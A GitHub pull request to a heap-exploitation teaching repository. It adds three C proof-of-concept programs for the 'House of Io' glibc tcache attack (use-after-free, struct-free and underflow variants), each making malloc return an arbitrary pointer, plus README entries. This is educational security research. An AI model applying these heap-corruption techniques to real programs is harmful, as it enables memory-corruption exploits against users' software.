Skip to content

Add the house of Io attack #210

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 5 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
3 changes: 3 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -41,6 +41,9 @@ We came up with the idea during a hack meeting, and have implemented the followi
| [decrypt_safe_linking.c](glibc_2.35/decrypt_safe_linking.c) | <a href="https://wargames.ret2.systems/level/how2heap_decrypt_safe_linking_2.34" title="Debug Technique In Browser">:arrow_forward:</a> | Decrypt the poisoned value in linked list to recover the actual pointer | >= 2.32 | | |
| [safe_link_double_protect.c](glibc_2.36/safe_link_double_protect.c) | | Leakless bypass for PROTECT_PTR by protecting a pointer twice, allowing for arbitrary pointer linking in t-cache | >= 2.32 | | [37c3 Potluck - Tamagoyaki](https://github.com/UDPctf/CTF-challenges/tree/main/Potluck-CTF-2023/Tamagoyaki)|
| [tcache_dup.c](obsolete/glibc_2.27/tcache_dup.c)(obsolete) | | Tricking malloc into returning an already-allocated heap pointer by abusing the tcache freelist. | 2.26 - 2.28 | [patch](https://sourceware.org/git/?p=glibc.git;a=commit;h=bcdaad21d4635931d1bd3b54a7894276925d081d) | |
| [house_of_io_uaf.c](glibc_2.31/house_of_io_uaf.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by UAF in a free'd tcache chunk. | 2.29 - 2.33 | | |
| [house_of_io_free.c](glibc_2.31/house_of_io_free.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by freeing the management struct. | 2.29 - 2.33 | | |
| [house_of_io_underflow.c](glibc_2.31/house_of_io_underflow.c) | | Tricking malloc into return a pointer to arbitrary memory by manipulating the tcache management struct by underflowing into the management struct. | 2.29 - 2.33 | | |

The GnuLibc is under constant development and several of the techniques above have let to consistency checks introduced in the malloc/free logic.
Consequently, these checks regularly break some of the techniques and require adjustments to bypass them (if possible).
Expand Down
93 changes: 93 additions & 0 deletions glibc_2.31/house_of_io_free.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,93 @@
#include <assert.h>
#include <malloc.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

// House of Io - Use after free Variant
// ====================================
//
// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/
//
// Tested on libc versions 2.31, 2.32 and 2.33.
//
// House of Io makes use of the fact, that when freeing a chunk into the tcache
// the chunk will receive a pointer to the tcache management struct which has
// been allocated beforehand. This pointer is the tcache->key entry of a free'd
// tcache chunk. There are three different versions of this attack and all work
// even with safe-link enabled, as the tcache-key pointer, and more importantly
// the pointers in the tcache_perthread_struct, are not protected.

unsigned long global_var = 1;

struct overlay {
uint64_t *next;
uint64_t *key;
};

struct tcache_perthread_struct {
uint16_t counts[64];
uint64_t entries[64];
};

int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);

puts("In house of Io we make use of the fact, that a free'd tcache chunk\n"
"gets a pointer to the tcache management struct inserted at the\n"
"second slot.\n");

puts(
"This variant can be used when either the order of free's for a struct\n"
"with multiple pointers is incorrect or the second slot in a free'd\n"
"struct can be free'd again. This allows us to free the\n"
"`tcache_perthread_struct` and gain access to it, by allocating it\n"
"again. With access to the management struct we can insert a malicious\n"
"pointer into a tcache and allocate from that bucket to get the pointer\n"
"from malloc.\n");

printf("Specifically we get a pointer to the `global_var` at %p returned to\n"
"us from malloc.\n\n",
&global_var);

puts("First we have to allocate a struct, that has a pointer at offset\n"
"+0x08.\n");
struct overlay *ptr = malloc(sizeof(struct overlay));

ptr->next = malloc(0x10);
ptr->key = malloc(0x10);

puts("Now we simulate a wrongful order of free's which leads to freeing the\n"
"management struct. The first free puts the pointer to the tcache\n"
"struct into ptr->key, which also gets free'd afterwards.\n");
free(ptr);
free(ptr->key);

puts("With the management struct free'd we can allocate it again and get\n"
"access to it.\n");
struct tcache_perthread_struct *management_struct = malloc(0x285);

puts(
"Now that we have access to management struct, we first have to set the\n"
"count of the tcache bin, from which we want to allocate our target\n"
"chunk, to one.\n");
management_struct->counts[0] = 1;

puts(
"In the next step we insert the pointer to the global variable into the\n"
"tcache.\n");
management_struct->entries[0] = (uint64_t)&global_var;

printf(
"After the write we have placed a pointer to the global variable into\n"
"the tcache [ %p ].\n\n",
management_struct->entries[0]);

puts("If we now allocate a new chunk from that tcache bin we get a pointer\n"
"to our target location.\n");
uint64_t *evil_chunk = malloc(0x10);

assert(evil_chunk == &global_var);
return 0;
}
95 changes: 95 additions & 0 deletions glibc_2.31/house_of_io_uaf.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,95 @@
#include <assert.h>
#include <malloc.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

// House of Io - Use after free Variant
// ====================================
//
// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/
//
// Tested on libc versions 2.31, 2.32 and 2.33.
//
// House of Io makes use of the fact, that when freeing a chunk into the tcache
// the chunk will receive a pointer to the tcache management struct which has
// been allocated beforehand. This pointer is the tcache->key entry of a free'd
// tcache chunk. There are three different versions of this attack and all work
// even with safe-link enabled, as the tcache-key pointer, and more importantly
// the pointers in the tcache_perthread_struct, are not protected.

unsigned long global_var = 1;

struct overlay {
uint64_t *next;
uint64_t *key;
};

struct tcache_perthread_struct {
uint16_t counts[64];
uint64_t entries[64];
};

int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);

puts("In house of Io we make use of the fact, that a free'd tcache chunk\n"
"gets a pointer to the tcache management struct inserted at the\n"
"second slot.\n");

puts(
"This variant is the use-after-free variant and can be used, if the\n"
"free'd struct has a pointer at offset +0x08, which can be read from\n"
"and written to. This pointer will be the tcache->key entry of the\n"
"free'd chunk, which contains a pointer to the tcache management\n"
"struct. If we use that pointer we can manipulate the tcache management\n"
"struct into returning an arbitrary pointer.\n");

printf("Specifically we get a pointer to the `global_var` at %p returned to\n"
"us from malloc.\n\n",
&global_var);

puts("First we have to allocate a struct, that has a pointer at offset\n"
"+0x08.\n");
struct overlay *ptr = malloc(sizeof(struct overlay));

ptr->next = malloc(0x10);
ptr->key = malloc(0x10);

puts("Then we immedietly free that struct to get a pointer to the tcache\n"
"management struct.\n");
free(ptr);

printf("The tcache struct is located at %p.\n\n", ptr->key);
struct tcache_perthread_struct *management_struct =
(struct tcache_perthread_struct *)ptr->key;

puts(
"Now that we have a pointer to the management struct we can manipulate\n"
"its values. First we potentially have to increase the counter of the\n"
"first bin by to a number higher than zero, to make the tcache think we\n"
"free'd at least one chunk. In our case this is not necesarry because\n"
"the `overlay` struct fits in the first bin and we have free'd that\n"
"already. The firest member of the tcache_perthread_struct is the array\n"
"of counters. So by overwriting the first element of our pointer we set\n"
"the correct value in the array.\n");
management_struct->counts[0] = 1;

printf("Before we overwrite the pointer in the tcache bin, the bin contains\n"
"[ %p ]. This is the same as the free'd overlay struct which we\n"
"created at the start [ %p == %p ].\n\n",
management_struct->entries[0], management_struct->entries[0], ptr);
management_struct->entries[0] = (uint64_t)&global_var;
printf(
"After the write we have placed a pointer to the global variable into\n"
"the tcache [ %p ].\n\n",
management_struct->entries[0]);

puts("If we now allocate a new chunk from that tcache bin we get a pointer\n"
"to our target location.\n");
uint64_t *evil_chunk = malloc(0x10);

assert(evil_chunk == &global_var);
return 0;
}
69 changes: 69 additions & 0 deletions glibc_2.31/house_of_io_underflow.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,69 @@
#include <assert.h>
#include <malloc.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

// House of Io - Underflow Variant
// ===============================
//
// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/
//
// Tested on libc versions 2.31, 2.32 and 2.33.
//
// House of Io makes use of the fact, that when freeing a chunk into the tcache
// the chunk will receive a pointer to the tcache management struct which has
// been allocated beforehand. This pointer is the tcache->key entry of a free'd
// tcache chunk. There are three different versions of this attack and all work
// even with safe-link enabled, as the tcache-key pointer, and more importantly
// the pointers in the tcache_perthread_struct, are not protected.

unsigned long global_var = 1;

struct tcache_perthread_struct {
uint16_t counts[64];
uint64_t entries[64];
};

int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);

puts("In house of Io we make use of the fact, that a free'd tcache chunk\n"
"gets a pointer to the tcache management struct inserted at the\n"
"second slot.\n");

puts(
"This variant only works if we can underflow an access on a heap chunk,\n"
"to get access to the management struct on the heap. We then overwrite\n"
"a pointer in a tcache bin to point to our target.\n");

printf("Specifically we get a pointer to the `global_var` at %p returned to\n"
"us from malloc.\n\n",
&global_var);

puts(
"First we allocate a chunk on the heap. We will underflow an access to\n"
"this chunk. In this example the victim chunk comes directly after the\n"
"tcache management struct, but in theory it can be everywhere on the\n"
"heap, as the first allocation will always be the management chunk, and\n"
"we assume an arbitrary underflow.\n");
uint64_t *victim_chunk = malloc(0x10);

puts("We then put a chunk into its tcache bin. We choose a large chunk, as\n"
"their bins come later in the array and thus are closer to our victim\n"
"chunk.\n");
uint64_t *free_chunk = malloc(0x390);
free(free_chunk);

puts("Then we underflow the victim chunk to exactly where the bin to our\n"
"free'd chunk is and write our target address there.\n");
*(victim_chunk - 10) = (uint64_t)&global_var;

puts("If we now allocate the same size of the free'd chunk again, we get a\n"
"chunk located at our target.\n");
uint64_t *evil_chunk = malloc(0x390);

assert(evil_chunk == &global_var);
return 0;
}
93 changes: 93 additions & 0 deletions glibc_2.32/house_of_io_free.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,93 @@
#include <assert.h>
#include <malloc.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>

// House of Io - Use after free Variant
// ====================================
//
// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/
//
// Tested on libc versions 2.31, 2.32 and 2.33.
//
// House of Io makes use of the fact, that when freeing a chunk into the tcache
// the chunk will receive a pointer to the tcache management struct which has
// been allocated beforehand. This pointer is the tcache->key entry of a free'd
// tcache chunk. There are three different versions of this attack and all work
// even with safe-link enabled, as the tcache-key pointer, and more importantly
// the pointers in the tcache_perthread_struct, are not protected.

unsigned long global_var = 1;

struct overlay {
uint64_t *next;
uint64_t *key;
};

struct tcache_perthread_struct {
uint16_t counts[64];
uint64_t entries[64];
};

int main() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);

puts("In house of Io we make use of the fact, that a free'd tcache chunk\n"
"gets a pointer to the tcache management struct inserted at the\n"
"second slot.\n");

puts(
"This variant can be used when either the order of free's for a struct\n"
"with multiple pointers is incorrect or the second slot in a free'd\n"
"struct can be free'd again. This allows us to free the\n"
"`tcache_perthread_struct` and gain access to it, by allocating it\n"
"again. With access to the management struct we can insert a malicious\n"
"pointer into a tcache and allocate from that bucket to get the pointer\n"
"from malloc.\n");

printf("Specifically we get a pointer to the `global_var` at %p returned to\n"
"us from malloc.\n\n",
&global_var);

puts("First we have to allocate a struct, that has a pointer at offset\n"
"+0x08.\n");
struct overlay *ptr = malloc(sizeof(struct overlay));

ptr->next = malloc(0x10);
ptr->key = malloc(0x10);

puts("Now we simulate a wrongful order of free's which leads to freeing the\n"
"management struct. The first free puts the pointer to the tcache\n"
"struct into ptr->key, which also gets free'd afterwards.\n");
free(ptr);
free(ptr->key);

puts("With the management struct free'd we can allocate it again and get\n"
"access to it.\n");
struct tcache_perthread_struct *management_struct = malloc(0x285);

puts(
"Now that we have access to management struct, we first have to set the\n"
"count of the tcache bin, from which we want to allocate our target\n"
"chunk, to one.\n");
management_struct->counts[0] = 1;

puts(
"In the next step we insert the pointer to the global variable into the\n"
"tcache.\n");
management_struct->entries[0] = (uint64_t)&global_var;

printf(
"After the write we have placed a pointer to the global variable into\n"
"the tcache [ %p ].\n\n",
management_struct->entries[0]);

puts("If we now allocate a new chunk from that tcache bin we get a pointer\n"
"to our target location.\n");
uint64_t *evil_chunk = malloc(0x10);

assert(evil_chunk == &global_var);
return 0;
}
Loading